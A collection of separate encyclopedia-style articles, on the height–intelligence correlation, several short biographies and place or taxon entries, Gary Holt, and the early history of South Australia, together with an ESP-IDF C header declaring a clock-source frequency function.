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The study of height and intelligence examines correlations between human height and human intelligence. Some epidemiological research on the subject has shown that there is a small but statistically significant positive correlation between height and intelligence after controlling for socioeconomic class and parental education. The cited study, however, does not draw any conclusions about height and intelligence, but rather suggests "a continuing effect of post-natal growth on childhood cognition beyond the age of 9 years." This correlation arises in both the developed and developing world and persists across age groups. An individual's taller stature has been attributed to higher economic status, which often translates to a higher quality of nutrition. This correlation, however, can be inverted to characterize one's socioeconomic status as a consequence of stature, where shorter stature can attract discrimination that affects many factors, among them employment, and treatment by educators. One such theory argues that since height strongly correlates with white and gray matter volume, it may act as a biomarker for cerebral development which itself mediates intelligence. Competing explanations include that certain genetic factors may influence both height and intelligence, or that both height and intelligence may be affected in similar ways by adverse environmental exposures during development. Measurements of the total surface area and mean thickness of the cortical grey matter using a magnetic resonance imaging (MRI) revealed that the height of individuals had a positive correlation with the total cortical surface area. This supports the idea that genes that influence height also influence total surface area of the brain, which in turn influences intelligence, resulting in the correlation. Other explanations further qualify the positive correlation between height and intelligence, suggesting that because the correlation becomes weaker with higher socioeconomic class and education level, environmental factors could partially override any genetic factors affecting both characteristics.
Previous studies
First inquiries into the correlation of height and intelligence came within the study of development in schoolchildren. William Porter was the first person to conduct a study to find a relationship between the physiology of children and their intelligence. The motive for this research was to attempt to predict the potential “dullness” or “precocity” of children based on simple measurements teachers could make. He did in fact find a correlation between body size and the learning level of children, but did not focus specifically on height.
More recent studies have continued the research into a correlation between height and intelligence, but again were often not directly related to height and intelligence. Some of the earlier large studies cited for height and intelligence are the Scottish Mental Surveys in 1932 and 1947. However, the studies were largely meant to analyze the genetic and environmental contributions to cognitive ability differences. Height (and weight) were added to provide a multivariate analysis.
In an effort to better understand this association, numerous other studies were thus carried out. These studies either expanded upon the association or sought to find an explanation.
A study by Douglas, et al. (1965) addressed the Scottish study and sought to test if the association reflected a linkage between development of the brain and/or emotional development and the development of the rest of the body. Similarly, in 1986, Wilson et al. wanted to study if there is a longitudinal relation between height and intelligence.
Nonetheless, as these studies were unable to provide satisfying results and explanations for the correlation, interest in it persists in the 21st century.
In 2014, another study was carried out by a team of researchers at Edinburgh University, Scotland, motivated by the understanding that both height and intelligence test scores are predictors of better health outcomes and mortality. The study was constructed to better identify if there are any shared phenotypic and genetic influences from height and intelligence in determining health outcomes and mortality.(Be aware of the difference between genetic correlation and phenotypic correlation since the former means the proportion of heritability that two traits share while the latter just means the term that describes animals with high values for one phenotype also tending to have high (or low) values for another phenotype so to discuss over the correlation between measured height and intelligence, phenotypic correlation is what should be discussed.)
Definition of intelligence
Human intelligence can be measured according to an extensive number of tests and criteria, ranging from academic, social, and emotional fields. While there is no clear consensus on a definition of human intelligence, there are common themes among those that exist, summarized generally as "Intelligence measures an agent’s ability to achieve goals in a wide range of environments". There are several theories that define different categories of intelligence and associate traits, instead of a single general ability. In most of the studies, intelligence quotient (IQ) tests were used to measure a subject's mental age, which was checked for possible correlation with height. While the use of IQ tests are highly debated among scientists as an accurate measurement of intelligence, they provide a quantitative and normal distribution to compare cognitive abilities among people.
Intelligence cannot be strictly defined, and it has been cautioned that intelligence has many different facets. Regardless, studies conducted to compare height with intelligence frequently use the Wechsler Adult Intelligence Scale (WAIS) which measures verbal and performance abilities for individuals over the age of 16 (WISC for those under 16) years through the following tests: information, general comprehension, memory span, arithmetical reasoning, similarities, vocabulary, picture arrangement, picture completion, block design, object assembly, and a digit symbol test. Many of the studies performed on the relationship between physical stature and intelligence used one of these tests in order to gauge relative cognitive ability based on the age of the participants. In addition to IQ tests, some of the studies that were performed on children use academic performance as a measure of intelligence through standardized tests such as the Wide Range Achievement Test.
Correlation: studies and methodologies
A 1986 study of 13,887 American youths aged 6 to 17 years old sought to examine the correlation between height and intelligence. Height was normalized for age and sex, and intelligence was measured with the Wechsler Intelligence Scale for Children and the Wide Range Achievement Test, measuring intellectual development (IQ) and academic achievement, respectively. Subjects were re-examined 2 to 5 years later. Both the Wechsler Intelligence Scale for Children and the Wide Range Achievement Test were found to significantly correlate with height. However, change in height was found not to be correlated with IQ score.
In 2000 another study found a similar correlation. 127 growth-restricted and 32 non-growth-restricted children aged 9 to 24 months were put on a two-year "randomized trial of nutritional supplementation and psychosocial stimulation." Eight years later, the subjects' growth, IQ, and cognitive functions were measured. IQ was also measured using the Wechsler Intelligence Scales. As in the 1986 study, it was found that supplementation to growth was not correlated with cognitive ability. Only psychosocial stimulation was found to increase IQ scores of subjects, and growth-restricted children had lower IQ scores than non-growth-restricted children, lending more evidence to the long-term cognitive consequences of growth restriction.
These studies confirmed results found by JM Tanner in 1966. This study found that among children of school age, there is a correlation of about 0.15-0.25 between height and score on the 11+ test, an examination administered to students in England. It was found that this correlation decreases with age, but does not completely disappear; in samples of young adults, correlations of up to 0.2 were found. This study also found that “the greater the number of children in the family the lower their height and the less their scores in mental tests”, and attributes the effect “to co-advancement [of height and cognitive ability] and disappears when maturity is reached.” The correlation between number of children and intelligence was found to be stronger in poor families than in rich ones, which contributed to the conclusion that there is a strong correlation between height and mental ability between children in different socio-economic groups that persists in adulthood.
A study was done by the Newcastle Thousands Families in 1947 to see if there was a correlation between birth weights and IQ at ages 9 and 13. There showed no correlation between birth weights and their IQs. However, height at the age of 9 played a major role in the IQ of the children (standardized regression coefficient b = 2.6, 95% CI 1.6-3.6, P < 0.0001). At the ages of 13, social economics played yet another larger role (b = 3.4, 95% CI 2.3-4.4, P = 0.001).
With data from ten consecutive years of quantitative measurements on height and intelligence separated by girls and boys and gathered from the Harvard Growth Study, this compilation of analyses shows the difference in correlation between height and intelligence in the classes of girls and boys. Boys demonstrate no clear correlation between height at a certain age group and intelligence later on in life but girls do. There appears to be a clear link between intelligence levels at 10 and 11 with a girl's height at the ages of 8 and 9 with other variables of note, i.e., socioeconomic status, age of first menstruation and ethnicity factoring into the correlation as well.
A 1999 study that was conducted on a sample on 32,887 Swedish men, aged 18, free of growth defects showed that, by and large, shorter men (with 2 standard deviations below the mean) demonstrated poorer physical and psychological performance in the context of military service, with increased risk of musculoskeletal diagnoses. Additionally, increased height showed a relationship with increased mean intellectual performance and, under conditions of stress, shorter men showcased demonstrably worse leadership capability and psychological function.
A 2011 model which incorporated assortative mating patterns into a bivariate model was used to account for height-to-intelligence factors that related to these mating habits as well as pleiotropic genetic influences when establishing the correlation between height and intelligence. Additionally, this team of researchers was responsible for using a dataset aggregated for Swedish male twins to explain both the genetic and environmental influences of the relationship between height and intelligence and height and capability to manage wartime stress.
In 1989 the heights of male and female corporate managers and non-managers were measured in two studies with about 200 subjects. Both studies found a statistically significant correlation between managerial position and height; taller people were more likely to hold managerial positions, regardless of sex.
A 2005 study used data on 1,181 identical twins and 1,412 fraternal twins, collected from Norwegian army files and Norwegian twin registries, in order to factor the correlation between intelligence test scores and standing height into environmental and genetic components. It used a structural equation model comparing the correlation between genetic, shared environmental and non-shared environmental factors and found that 59% of the height-intelligence correlation was due to shared environmental factors. Genes were found to contribute 35% of the correlation, and non-shared environmental factors contributed 6%, both statistically significant amounts.
A 1991 study conducted on 76,111 Danish men sought to test the height-intelligence positive correlation on either extremes of height. The study defined two groups: the short group, composed of individuals below the 2nd percentile for height and the tall group, composed of individuals above the 98th percentile for height in Denmark. It found that the short group's intelligence test score and educational level means lay about two-thirds of a standard deviation below the overall means, but suggested there appeared to be local factors that may have contributed negatively and significantly to the scores. In contrast, the study found the tall group scored about one-half standard deviation above the overall means, but suggested that both groups scored below what would be expected from a linear trend.
A study from 1985 to 2005 was conducted on Dutch twin pairs from the ages 5 to 18 to establish a correlation factor. There was shown a positive correlation in childhood and early adolescence. These factors were used to gauge the intelligence in adults. The contributing factors for this study were mainly just genetics and full-scaled IQ.
There was weak or no correlation between cognitive ability and height found when examining ten brain measurements from a large elderly population, even when controlled for sex and age. Even though height and brain size are highly influenced by genes, doubt is raised about the relationship between them when considering that the correlation between height and cognitive ability is not steady throughout life. There is an increase in brain development during the adolescent years and a marked decrease afterwards, despite height generally staying constant after reaching adulthood.
Explanations of the correlation
An individual's height is determined by a complex interplay between genes and environment. Statistical analysis of multiple research studies have produced a correlation between height and intelligence. Various genetic and environmental factors may influence height, and the reasons are sought for any correlation with measured intelligence.
It has been suggested that increases in average height, in response to improved nutrition, have been accompanied by an increase in brain size, and is one explanation for an overall rise in measured intelligence among all tested populations that has been called the Flynn effect.
Heritability estimates for height can be generated using comparisons among close relatives, such as between parents and children or siblings. To measure the effect of genetic inheritance, height comparisons are correlated with total shared genetic markers. Common percent values range between 60 and 80%, with high variation attributed to differences in a population's genetic history and environment (such as climate, nutrition, and lifestyle).
The most notable contributing environmental influences associated with the correlation of height and IQ include “diet, disease, psychosocial stress and inadequate cognitive stimulation” Populations that live under stable conditions tend to have higher values of genetic influence, while populations susceptible to events of poor nutrition and illness show greater determination from their environment.
An auxological approach that emphasizes multiple influences from all aspects of life, with special attention paid to prenatal and very early child development, seem to offer the most robust and accurate portrayal of overall growth and development. From these perspectives, we can better understand if the correlation persists, especially within developing countries prone to environmental uncertainties.
Height and intelligence may be correlated, but there is not significant proof of it being caused by genetics. There are many genes associated with genetic transmission of intelligence, but current theories of intelligence point to inheritance of intelligence from parents to be due to both genetic and environmental factors, especially as there is no concrete proof of the relationship between certain genes and intelligence.
The correlation between height and intelligence could also be confounded by how cultural and psychological factors affect the expression of intelligence. It is impossible to create a culture-free test for intelligence, as different societies value and cultivate different skill sets and ways of interpreting the world. For example, some cultures put more emphasis on hard work than being clever, making it difficult to accurately test and compare the intelligence of different groups within a population.
There is evidence that intellectual development is influenced by the expectations placed on an individual. In an experiment involving elementary school children, researchers found that when teachers believe students are above average intellect, these students tend to do better in school and receive higher IQ scores than students who are perceived as average or below average intellect, regardless of the actual competence of the students. This self-fulfilling prophecy caused by expectations is known as the Pygmalion effect, and it may play have an effect on taller student who are generally viewed as more mature or dominant.
Sexual selection and cross-trait assortative mating might also contribute to the correlation between height and intelligence. Because both height and intelligence positively affect an individual's overall fitness, individuals generally look for these traits in potential partners. In other words, smart men are more likely to mate with tall women, and smart women are more likely to mate with tall men, as both traits are affected by perceptions of cross-trait attractiveness.
Statistics
Across studies, the correlation coefficient of height and intelligence was generally found to be around 0.2, indicating a positive association between height and intelligence which is weak but still statistically significant. A smaller within-family height-intelligence correlation of 0.10 was also found, indicating that both assortative mating and pleiotropy may be contributing causes for the general correlation.
Height and intelligence are both polygenic traits, and as a result it is difficult to isolate possible causes for the variation in each of these traits individually, let alone causes for correlations between them. Results regarding the relative responsibility of genetic and environmental factors in causing the correlation are far from conclusive; while some studies have arrived at similar estimates of the relative responsibility of genetic vs. environmental factors, others have arrived at completely different estimates.
It's also important to note that several of the recent studies confirming the correlation employed the standard bivariate ACE model, which is extremely sensitive to assumptions reflected in parameters. For instance, two of these studies arrived at similar estimates for the relative responsibility of common environmental and genetic factors in causing the correlation: 59% and 59% for the former, 31% and 35% for the latter. However, only slight modifications to the coefficient of assortative mating made the difference between the inferred percentage of genetic responsibility being as low as around 30% (the value the authors reported) to as high as 90%. Further, another study using the same model even concluded that genetics alone could explain the correlation, without any influence from common environmental factors such as one's education level and nutrition. This could have been because the studied population was relatively economically egalitarian, meaning access to resources like education and nutrition played less of a role than they might in other populations, or because of differences in how the researches handled the model and its parameters. The ACE model used in these studies was found to be sensitive to assumptions of assortative mating; results should therefore be interpreted with caution, as should the resulting percentages of genetic vs. environmental contribution.
See also
Human height
Human variability
Outline of human intelligence
References
Factors related to intelligence
Intelligence |
Musaabad (, also Romanized as Mūsáābād; also known as Mūsīān) is a village in Jabal Rural District, Kuhpayeh District, Isfahan County, Isfahan Province, Iran. At the 2006 census, its population was 16, in 4 families.
References
Populated places in Isfahan County |
Aetholix is a genus of moths of the family Crambidae.
Species
Aetholix borneensis Hampson, 1912
Aetholix flavibasalis (Guenée, 1854)
Aetholix indecisalis (Warren, 1896)
Aetholix litanalis (Walker, 1859)
Aetholix meropalis (Walker, 1859)
References
Spilomelinae
Crambidae genera
Taxa named by Julius Lederer |
TED may refer to:
Economics and finance
TED spread between U.S. Treasuries and Eurodollar
Education
Türk Eğitim Derneği, the Turkish Education Association
TED Ankara College Foundation Schools, Turkey
Transvaal Education Department (TED)
Entertainment and media
TED (conference) (Technology, Entertainment, and Design)
Tenders Electronic Daily, a journal on government procurement in the European Union
Turner Field (The Ted), of the Atlanta Braves until 2017
Technology and computing
MOS Technology TED, an integrated circuit
TED Notepad, a freeware portable plain-text editor
Television Electronic Disc, an early Telefunken video disc
Transferred electron device or Gunn diode
TransLattice Elastic Database, a NewSQL database
Transport
Teddington railway station, London, National Rail station code
Other uses
Thyroid eye disease, aka Graves' ophthalmopathy
Tooheys Extra Dry, Australian beer
Turtle excluder device, for letting sea turtles escape from fishing-nets
See also
Ted (disambiguation)
Teds (disambiguation)
Tender notification |
Paul Murray Kendall (March 1, 1911 – November 21, 1973) was an American academic and historian, who taught for over 30 years at Ohio University and then, after his retirement, at the University of Kansas.
Biography
Kendall was born in Philadelphia, Pennsylvania. He graduated from Frankford High School in 1928. He studied at the University of Virginia, receiving a bachelor's degree in 1932, and master's in 1933. In 1937, while studying for a Ph.D, he became an instructor in English at Ohio University in Athens, Ohio. He obtained a Ph.D. from the University of Virginia in 1939, and continued as professor at Ohio University, and was one of the first academics named as Distinguished Professor at Ohio University in 1959.
In 1939 Kendall married Carol Seeger, one of his former students. Carol Kendall was an author in her own right.
Career
Kendall's teaching was primarily concerned with Renaissance writing and Shakespeare. He was granted tenure in 1947, and was appointed Distinguished Professor of English in 1959, one of the first three academics at Ohio University to receive this honor.
In 1950 Kendall was awarded a Marburgh Prize from Johns Hopkins University for a three-act play, The Ant Village. He published both light verse and scholarly articles. In 1952 he was awarded a Ford Foundation Fellowship which assisted him in completing Richard III, which was published in 1955, and raises anew the question whether or not that monarch was an usurper. It is for that work that he is best known. This work was a scholarly defence of the controversial monarch. It relied heavily on primary sources and made a significant contribution to the arguments for a favourable view of Richard. The work was critically very well received and was a runner-up for the National Book Award in 1956.
In 1957 Warwick the Kingmaker and History of Land Warfare were released. In 1963 The Yorkist Age was released. In 1970 Kendall retired from Ohio University to become head of the Shakespeare Institute at the University of Kansas. In 1971 his work, King Louis XI was published, the film by Henri Helman about Louis being clearly part of a rehabilitation movement driven, among others, by Kendall. In 1979 his novel, My Brother Chilperic, was published posthumously.
Paul Kendall died on November 21, 1973, aged 62. Kendall was survived by his wife and two daughters, Gillian Murray Kendall, who teaches Renaissance subjects and Shakespeare at Smith College, and Caroline Kendall Orszak, who recently retired from a career in publishing in the UK, and lives in Western Massachusetts.
Books
Richard III (1955)
Warwick the Kingmaker (1957)
The Story of Land Warfare (1957)
The Yorkist Age: Daily Life During the Wars of the Roses (1962)
The Art of Biography (1965)
Louis XI: The Universal Spider (1971)
My Brother Chilperic (1979)
Awards
1950 Marburgh Prize (Johns Hopkins University) for The Ant Village
1956 National Book Award runner-up for Richard III
1957-58 and 1961-62 Guggenheim Fellow
1970 Honorary L.H.D. (Doctor of Humane Letters) by Ohio University.
See also
Philippa Langley, whose interest in Richard III was inspired by Murray Kendall
Notes
References
External links
Ricardian Bulletin, Magazine of the Richard III Society
Paul Murray Kendall and the Anniversary of Richard the Third by Albert Compton Reeves
1911 births
1973 deaths
20th-century American historians
20th-century American male writers
Historians from Pennsylvania
Historians of the British Isles
Ohio University faculty
University of Kansas faculty
University of Virginia alumni
Writers from Philadelphia
American male non-fiction writers |
```objective-c
/*
*
*/
#pragma once
#include "esp_err.h"
#include "soc/clk_tree_defs.h"
#ifdef __cplusplus
extern "C" {
#endif
/**
* @brief Degree of precision of frequency value to be returned by esp_clk_tree_src_get_freq_hz()
*/
typedef enum {
ESP_CLK_TREE_SRC_FREQ_PRECISION_CACHED, /*< Get value from the data cached by the driver; If the data is 0, then a calibration will be performed */
ESP_CLK_TREE_SRC_FREQ_PRECISION_APPROX, /*< Get its approxiamte frequency value */
ESP_CLK_TREE_SRC_FREQ_PRECISION_EXACT, /*< Always perform a calibration */
ESP_CLK_TREE_SRC_FREQ_PRECISION_INVALID, /*< Invalid degree of precision */
} esp_clk_tree_src_freq_precision_t;
/**
* @brief Get frequency of module clock source
*
* @param[in] clk_src Clock source available to modules, in soc_module_clk_t
* @param[in] precision Degree of precision, one of esp_clk_tree_src_freq_precision_t values
* This arg only applies to the clock sources that their frequencies can vary:
* SOC_MOD_CLK_RTC_FAST, SOC_MOD_CLK_RTC_SLOW, SOC_MOD_CLK_RC_FAST, SOC_MOD_CLK_RC_FAST_D256,
* SOC_MOD_CLK_XTAL32K
* For other clock sources, this field is ignored.
* @param[out] freq_value Frequency of the clock source, in Hz
*
* @return
* - ESP_OK Success
* - ESP_ERR_INVALID_ARG Parameter error
* - ESP_FAIL Calibration failed
*/
esp_err_t esp_clk_tree_src_get_freq_hz(soc_module_clk_t clk_src, esp_clk_tree_src_freq_precision_t precision,
uint32_t *freq_value);
#ifdef __cplusplus
}
#endif
``` |
Amilcare Debar (1927–2010) was an Italian Sinto partisan who fought in the Italian resistance movement.
Life
Amilcare Debar was born in Frossasco, Turin on 16 June 1927. Orphaned, he was sent with his sister to a home in Cuneo and known as Taro. During World War II, Debar was captured by the fascists and lined up with 18 other partisans to be shot. He was released at the last minute and fled into the mountains where he joined the resistance. He fought under Pompeo Colajanni in the battalion of the 48th Garibaldi Brigade, taking the name Corsaro. After being captured by the Nazis, he was sent to the Auschwitz and Mauthausen concentration camps.
After the war, he first worked as policeman in Racconigi then after a chance meeting with his half-brother on a police traffic stop, rejoined his family and lived nomadically. He later represented the Sinti people at the United Nations.
Debar died on 12 December 2010.
References
1927 births
2010 deaths
Sinti people
Italian resistance movement members
Italian police officers
Auschwitz concentration camp survivors
Mauthausen concentration camp survivors |
Ilya Vorotnikov may refer to:
Ilya Vorotnikov (footballer, born 1986)
Ilya Vorotnikov (footballer, born 2001) |
Oleg Vladimirovich Gusev (; born 24 April 1996) is a Russian canoeist. He competed in the men's K-1 200 metres event at the 2020 Summer Olympics.
References
External links
1996 births
Living people
Russian male canoeists
Sportspeople from Ryazan
Olympic canoeists for Russia
Canoeists at the 2020 Summer Olympics
Canoeists at the 2019 European Games
European Games medalists in canoeing
European Games gold medalists for Russia
21st-century Russian people |
Gary Wayne Holt (born May 4, 1964) is an American musician from the San Francisco Bay Area. He is the guitarist, bandleader, and main songwriter for thrash metal band Exodus and was a member of Slayer from 2011 to 2019, replacing Jeff Hanneman on a temporary guitarist due to an illness in 2011, and on a permanent guitarist after Hanneman's death in May 2013.
Career
Exodus
After guitarist Tim Agnello left Exodus in 1981, Holt joined the band and has been the main songwriter and the most senior member of the group ever since. Following Kirk Hammett's 1983 departure from Exodus to join Metallica, Holt kept the band going and for many years, he and Rick Hunolt were referred to as the Exodus' "H-Team" guitar players. Holt is the only member of Exodus who has played on every album.
Slayer
On February 12, 2011, it was announced that Holt would be temporarily filling in for Jeff Hanneman in the band Slayer. Holt also played with Slayer for the Big 4 Concert in Indio, California on April 23, 2011, as well as Fun Fun Fun Fest in Austin, Texas on November 6, 2011. Holt was later confirmed to be a permanent member of Slayer, following Hanneman's death on May 2, 2013, and stayed with the band until their split, following the conclusion of their 2018–2019 farewell tour. He also recorded guitar tracks on Slayer's 2015 album Repentless, but did not have any writing contributions on the album, except for guitar solos.
Other work
In October 2008, Holt released an instructional guitar video called "A Lesson in Guitar Violence". He also produced Warbringer's second album, Waking into Nightmares. In 2019 he was included on "Cheapside Sloggers", a song on Volbeat's Rewind, Replay, Rebound.
Equipment
Holt endorses ESP Guitars as of September 2014 and has a signature version of the Eclipse model, ending his relationship with Schecter Guitar Research, where he previously had various signature models. He has also used Ibanez, B.C. Rich, Jackson Guitars, Bernie Rico Jr., and Yamaha guitars.
For amplification, he currently uses a Marshall Silver Jubilee in Slayer and an ENGL Savage 120 in Exodus as well as a Kemper Profiling amp. In the past, he has used a modified Marshall JCM800, Mesa Boogie Mark III, Marshall JVM, Peavey Triple XXX, and ENGL Savage 120. Before using the Silver Jubilee, DSL100H and Marshall JVM amps with Slayer, Holt made use of Jeff Hanneman's touring rack.
Musical influences
Holt's main guitar influences are Ritchie Blackmore, Michael Schenker, Angus Young, Tony Iommi, Uli Jon Roth, Matthias Jabs and Ted Nugent. His favorite bands include Venom, Motörhead, Black Sabbath, early Iron Maiden and Judas Priest.
Personal life
Outside of music, Holt enjoys foreign and period films.
According to Holt, the track "War Is My Shepherd" on the album Tempo of the Damned is a treatise of America's "pro-God" and "pro-war" stance and how he feels the two beliefs are incompatible with each other.
Holt endorsed Barack Obama in the 2008 presidential election, stating, "I used to have a lot of respect for McCain, but he realized after the dirty defeat that he suffered at the hands of George W. Bush in the South Carolina primary in the (2000) election that he can only get elected if he plays the Karl Rove tactic b.s. He's doing it. It's just one debunked lie after the other. He's the kind of guy who will tell you the sky is red, you look up and it's blue, and he won't admit he's wrong. He's playing dirty politics. Palin is just terrifying, the thought of this lady being a heart attack away from having the nuclear codes. She's crazy and she's dumb."
In the 2004 election, Holt vouched for John Kerry, but conceded that "they're all dirty crooks, all politicians. But at least (Kerry) wasn't a coward. He fought in Vietnam whereas George W. Bush Jr. was a draft dodger."
In 2017, he referred to President Donald Trump as a "serial liar" and an "embarrassment to this country, this world, and everyone living in it."
Holt is an atheist. In October 2017, he became a vegan.
On December 17, 2018, his father Billie Charles Holt (born July 6, 1933) died.
On March 18, 2020, Holt began exhibiting symptoms of COVID-19. By March 31, 2020, he had tested positive for the virus, although by then he had already recovered.
Discography
Exodus
1982: 1982 Demo
1985: Bonded by Blood
1987: Pleasures of the Flesh
1989: Fabulous Disaster
1990: Impact Is Imminent
1991: Good Friendly Violent Fun
1992: Lessons in Violence
1992: Force of Habit
1997: Another Lesson in Violence
2004: Tempo of the Damned
2005: Shovel Headed Kill Machine
2007: The Atrocity Exhibition... Exhibit A
2008: Let There Be Blood
2008: Shovel Headed Tour Machine: Live at Wacken & Other Assorted Atrocities
2010: Exhibit B: The Human Condition 2014: Blood In, Blood Out 2021: Persona Non GrataSlayer
2015: Repentless2019: The Repentless KillogyAsylum
1990: Asylum (Demo)Destruction
2008: D.E.V.O.L.U.T.I.O.N.Heathen
2009: The Evolution of ChaosHypocrisy
2005: VirusLaughing Dead
1990: Demo 1990 (Demo)Metal Allegiance
2015: Metal Allegiance [Gift of Pain]
Panic
1991: EpidemicUnder
1998: Under (EP)Warbringer
2009: Waking into NightmaresWitchery
2010: Witchkrieg''
References
External links
Metal Express interview
1964 births
American atheists
American heavy metal guitarists
American male guitarists
California Democrats
Exodus (American band) members
Guitarists from California
Living people
Musicians from Richmond, California
Slayer members
20th-century American guitarists
Thrash metal musicians |
The history of South Australia includes the history of the Australian state of South Australia since Federation in 1901, and the area's preceding Indigenous and British colonial societies. Aboriginal Australians of various nations or tribes have lived in South Australia for at least thirty thousand years, while British colonists arrived in the 19th century to establish a free colony. The South Australia Act, 1834 created the Province of South Australia, built according to the principles of systematic colonisation, with no convict settlers.
After the colony nearly went bankrupt, the South Australia Act 1842 gave the British Government full control of South Australia as a Crown Colony. After some amendments to the form of government in the intervening years, South Australia became a self-governing colony in 1857 with the ratification of the Constitution Act 1856, and the Parliament of South Australia was formed.
Meanwhile, European explorers went deep into the interior, discovering some pastoral land, but mainly large tracts of desert terrain. Sheep and other livestock were imported, wheat and other crops were grown where possible, and a thriving viticulture industry was established. German Lutheran refugees set up mission stations and developed the wine industry in the Barossa Valley. Copper was discovered at Kapunda in 1842.
The colony became a cradle of democratic and land reform in Australia. In 1858, it was the first place in the world to institute the system of land registration and transfer named Torrens title after its designer and promoter, South Australian parliamentarian Robert Torrens. Women were granted the vote in the 1890s. South Australia became a State of the Commonwealth of Australia in 1901 following a vote to federate with the other British colonies of Australia. While it has a smaller population than the eastern States, South Australia has often been at the vanguard of political and social change in Australia.
Since World War II refugees and other migrants have boosted both the size and the multicultural nature of the population.
Aboriginal settlement
The first people to occupy the area now known as South Australia were Aboriginal Australians. Their presence in northern Australia began at least 65,000 years ago with the arrival of the first of their ancestors by land-bridge from what is now Indonesia. Their descendants moved south and occupied all areas of Australia, including the future South Australia. Temporary campsites in the Roxby dunefields have been dated to 19,000 years ago, and Aboriginal people have continuously occupied South Australian deserts since at least that time. Conservative estimates of the Aboriginal population of South Australia by the time of European contact are around 15,000 with a larger concentration in the southern part of the region. According to mitochondrial DNA research, Aboriginal people reached Eyre Peninsula 49,000-45,000 years ago from both the east (clockwise, along the coast, from northern Australia) and the west (anti-clockwise).
Aboriginal society was made up of small bands, usually numbering around 25, which lived together on a daily basis and shared a particular range of land. The bands comprised one or more extended families, but the membership was fluid and would change depending on available food resources and personal circumstances. Several bands made up one clan, which also had a defined territory and was united by claimed descent from a single ancestor, and several clans made up one tribe, of which there were around 48 in South Australia by the time of European settlement. There was little uniting the clans of an Aboriginal tribe aside from their common language.
The Aboriginal tribal groups all had Dreamings, which were religious traditions tying them to the land. The Dreamings serve as both stories about their ancestors and as the foundation of their societal laws. For example, for the Ngarrindjeri of the lower Murray River, the ancestral hero Ngurunderi fashioned the physical world and gave the people their laws. At the end of his life he traveled to Kangaroo Island, where he passed on to the sky-world. As a result, the Ngarrindjeri viewed the island as a stepping stone for the soul of a dead person to the under world. It was seen as a psychic landscape, not existing in a physical sense, and as a result the island was uninhabited by Aboriginal Australians when Europeans first arrived, and the archaeological record suggests that humans had last lived on Kangaroo Island 4000 years ago.
European exploration
The first Europeans to explore South Australia were the crew of a Dutch vessel, the Gulden Zeepaert, led by Captain François Thijssen in 1627. From Cape Leeuwin in Western Australia, the ship followed the southern coast of Australia east for 1,000 miles, reaching the edge of the Great Australian Bight. He named the whole area he'd explored Nuyts Land, after Pieter Nuyts, a distinguished passenger on the ship.
In 1801–02 Matthew Flinders led the first circumnavigation of Australia aboard , a Royal Navy survey ship to verify that the eastern colony of New South Wales and the western land called New Holland were part of the same landmass. In March 1802 he reached Kangaroo Island, and was surprised to find it uninhabited. French Captain Nicolas Baudin was also on a survey mission in 1802, independently charting the southern coast of the Australian continent with the French naval ships the Géographe and the Naturaliste. The British and French expeditions sighted each other on 8 April 1802, and despite believing that France and Britain were still at war at the time (neither knew that the War of the Second Coalition had ended), they met peacefully at Encounter Bay.
Following the discovery of Kangaroo Island by Flinders, lawless sealers known as "Straitsmen" (they mainly lived on the islands of the Bass Strait) came to the island. Their main work was hunting seals and whales. Once they had become established on the island, to satisfy their need for wives the sealers kidnapped Aboriginal women from Tasmania and the mainland and brought them there. By 1820, there were reportedly nine sealers living on the island with Aboriginal wives, and by the mid-1820s as many as 30 of them. The "wife-collecting trips" to the mainland were violent affairs, sometimes involving killing the women's husbands.
Charles Sturt led an expedition from New South Wales in 1829, which followed first the Murrumbidgee River into a "broad and noble river", which he named the Murray River. His party then followed this river to its junction with the Darling River and continued down river on to Lake Alexandrina, where the Murray meets the sea. He wrote:
Sturt recommended further examination of the area, and New South Wales Governor Ralph Darling sent Captain Collet Barker to carry out a survey of the area in 1831. After swimming across the mouth of the Murray River alone, Barker was killed by Aboriginal people. Sturt thought that might have been out of revenge for the atrocities committed by sealers. Despite that, his more detailed survey led Sturt to conclude:
While travelling through the lower regions of the Murray, Sturt also wrote that he was surprised by the large number of Aboriginal Australians he encountered, but the Aboriginal population of the region was struck by an epidemic at the same time as Sturt's expedition (likely smallpox), leading to a much smaller native population when colonists arrived seven years later.
British preparation for establishing a colony
In 1828 Robert Gouger and Edward Gibbon Wakefield were both looking to start a colony based on free settlement. Gouger met with Wakefield (who was still in prison at the time) in January 1829, and Wakefield suggested that instead of granting free land to settlers as had happened in other colonies, the colony should use the principle of "the universal sale of land instead of land grants, and the exclusive employment of the purchasers' moneys to promote emigration".
Gouger established the National Colonisation Society in February 1830, and although initially the proposal didn't attract much attention, after Sturt's discovery of the Murray River became public knowledge, its prospects were revived. By December, the Gulf St Vincent was being pitched as the location of the colony, and the National Colonisation Society put their proposal to the Colonial Office in May 1831.
Founding organisations and laws, 1834–1836
The South Australian Association, with the aid of such figures as George Grote, William Molesworth and the Duke of Wellington persuaded the British Parliament to pass the South Australia Act, 1834. The Act defined the province of South Australia as being "that part of Australia which lies between the meridians of the one hundred and thirty-second and one hundred and forty-first degrees of east longitude, and between the southern ocean and the twenty-six degrees of south latitude, together with all and every the islands adjacent thereto, and the bays and gulphs". South Australia thus became the only colony authorised by an Act of Parliament. The colony and its capital city were named prior to settlement.
The planners and founders of South Australia called for the colony to be their ideal embodiment of what they perceived to be the best qualities of British society. They sought: to prevent a reliance of convict labour found in other colonies, thus also reducing unemployment; to eliminate religious discrimination and; to make the colony economically self-sufficient. It was intended that free settlers would be attracted on the basis of freedom in the political, economic, civil and religious spheres, as well as opportunities for wealth through farming and commerce.
Hence the transportation of convicts from the United Kingdom was forbidden by the South Australia Act, despite many convicts being transported to penal settlements in New South Wales (between 1788 and 1842), Van Diemen's Land (Tasmania; 1802–1853), and Moreton Bay (Queensland; 1825–1842). (Later, convicts were also transported to Western Australia, between 1850 and 1868). "Poor Emigrants", while they were assisted by an Emigration Fund, were required to bring their families with them. The Act further specified that the colony was also intended to be developed at no cost to the British government (such as the expenses incurred in transporting convicts).
So that South Australia stood a better chance of being self-sufficient, a £20,000 surety had to be created and £35,000 worth of land was to be sold in the colony before any settlement occurred. These conditions were fulfilled before the end of 1835, possibly with Raikes Currie or his family bank, Curries & Co., acting as surety.
The Act also included a promise of representative government when the population reached 50,000 people.
A guarantee of the rights of "any Aboriginal Natives" and their descendants to lands they 'now actually occupied or enjoyed' was included in the 1836 Letters Patent enabling the South Australia Act included.
The western and eastern boundaries of the colony were set at 132° and 141° East of Greenwich, and to the north at the Tropic of Capricorn, (23° 26′ South). The western and eastern boundary points were chosen as they marked the extent of coastline first surveyed by Matthew Flinders in 1802 (Nicolas Baudin's priority being ignored).
